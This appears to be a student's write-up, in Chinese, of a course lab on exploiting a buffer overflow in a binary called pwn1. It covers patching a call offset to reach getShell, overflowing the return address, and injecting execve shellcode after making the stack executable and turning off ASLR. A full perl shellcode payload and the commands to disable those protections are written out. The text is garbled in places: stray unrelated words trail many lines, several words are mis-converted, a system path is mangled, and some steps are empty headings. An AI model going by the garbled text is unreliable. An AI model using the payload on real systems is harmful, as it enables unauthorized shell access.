用一个pwn1文件。 该程序正常执行流程是:main调用foo函数,foo函数会回显任何用户输入的字符串。 该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不被运行的。实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。算法
三个实践内容:shell
e8表示“call”,后面的d7 ff ff ff是要跳转的地址,只要改为e3 ff ff ff就会跳到getShell函数(经过偏移量得出)。vim
修改步骤:sass
系统读入字符串留32字节缓冲区,输入超过32字节就会溢出,就用溢出的部分去覆盖返回地址网络
思路:dom
步骤:函数
首先使用 apt-get install execstack 命令安装execstack。 而后接连输入:学习
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行 root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 root@KaliYL:~# more /proc/sys/kernel/randomizevaspace 2 root@KaliYL:~# echo "0" > /proc/sys/kernel/ randomizevaspace //关闭地址随机化 root@KaliYL:~# more /proc/sys/kernel/randomizevaspace 0
目标:向foo函数输入参数,形成缓冲区溢出,改变foo的返回地址,,跳到shellcode。也就是,找到foo函数的返回的地址,将其改为shellcode开始的地址 步骤:spa
- 使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 注入,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,下面找这个返回地址。命令行
在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击,回车后不要动这个终端,而后去打开另外一个终端。
在第二个终端中
此次在参考学长博客下完成,我边作边思考:第二个实验点和第三个实验点有什么区别?思考结果:一样都是注入参数覆盖缓冲区,使溢出部分跳到shell,而且没有本身写shellcode,所以我以为后面两个任务同样。 应该是我对这两个概念还没彻底理解吧。 本次实验就是把课上老师描绘的过程本身照着教程作一遍。
什么是漏洞,漏洞的危害?
答:漏洞是软件或者硬件设计上的缺陷。好比,芯片里的电路 逻辑不严谨没有考虑边界值、计算机系统的缓冲区溢出漏洞,DES算法被差分攻击等。。。
危害:可能会被他人(未受权的任)得到信息,从而引起更大的危害,可能电脑被植入木马病毒,本身的电脑被他人控制,泄露机密,使自身利益受损。